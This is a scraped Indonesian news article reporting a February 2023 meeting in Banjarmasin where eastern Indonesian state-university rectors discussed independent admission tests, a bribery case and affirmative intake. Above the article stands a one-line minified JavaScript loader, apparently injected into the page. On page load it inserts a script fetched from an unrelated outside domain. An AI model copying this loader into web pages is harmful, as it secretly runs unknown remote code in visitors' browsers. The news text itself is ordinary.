(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Konsorsium Perguruan Tinggi Negeri Kawasan Timur Indonesia (KPTN-KTI) melaksanakan rapat koordinasi untuk membahas persiapan tes mandiri Perguruan Tinggi Negeri (PTN) tahun 2023.
Sebanyak 46 rektor universitas, institut, dan politeknik yang tergabung dalam KPTN-KTI menghadiri pertemuan yang digelar dari 24-26 Februari 2023 di Fogo Hotel, Kota Banjarmasin, Kalimantan Selatan.
Pada pertemuan kali ini, Universitas Lambung Mangkurat (ULM) berkesempatan menjadi tuan rumah. Melalui Rektor ULM, Prof Ahmad mengatakan kegiatan ini merupakan sinergi bersama antar PTN yang ada di kawasan Indonesia Timur dalam menyikapi sistem seleksi masuk mahasiswa baru tahun 2023.
“Kedua, ini juga dalam rangka membangun kebersamaan sesama Perguruan Tinggi Negeri di Timur Indonesia, dalam rangka meningkatkan kinerja masing-masing PTN,” katanya, Jumat (24/2/2023) malam.
Baca juga:Â Harga Gabah Rp 4.800, Dinas TPH Kalsel Minta Klaster Harga Tiap Daerah
Sementara itu, Presidium KPTN-KTI Prof Andri Fatton mengapresiasi ULM yang menjadi tuan pada pertemuan sejumlah Rektor dan Direktur PTN tersebut. Dirinya berharap pelaksanaan tes mandiri pada tahun 2023 ini tetap ada dan dapat terlaksana dengan baik.
Disamping itu, pada pertemuan tersebut pihaknya turut menyoroti terkait kasus suap Rektor salah satu PTN di Indonesia dalam penyelenggaraan seleksi masuk mahasiswa. Meskipun demikian, Prof Andri Berharap kasus tersebut tidak terulang kembali terutama kampus yang tergabung dalam KPTN-KTI.
“Itu oknum, jangan kita persepsikan bahwa semua tes mandiri itu terjadi kecurangan,” ucap Rektor Universitas Borneo Tarakan ini.
Prof Andir juga tidak menampik, mahasiswa yang berada di kawasan Indonesia Timur khususnya yang berada di pedalaman dan perbatasan memiliki keterbatasan.
Baca juga:Â Anggota Damkar Banjarmasin Dilatih Teknik Pemadaman
Sehingga ketika bersaing masuk jalur tes dengan mahasiswa luar seperti di kawasan Jawa akan kalah bersaing, khususnya pada fakultas kedokteran.
Oleh karena itu, Prof Andri mengatakan pihaknya sebagai rektor mempunyai hak afirmasi untuk menerima mahasiswa yang berada di pedalaman dan perbatasan, sehingga bisa tercapai keadilan pendidikan bagi semua kalangan.
“Kami sebagai rektor memiliki hak memberikan afirmasi menerima mereka dengan kriteria tertentu,” ungkapnya.
Maka, ia berharap melalu pertemuan antar rektor dan direktur PTN tersebut, ia berharap tercipta sistem yang disepakati bersama dalam penerimaan mahasiswa pada tahun 2023.
“Kami berharap seleksi masuk jalur prestasi maupun tes bisa berjalan baik,” tutupnya. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.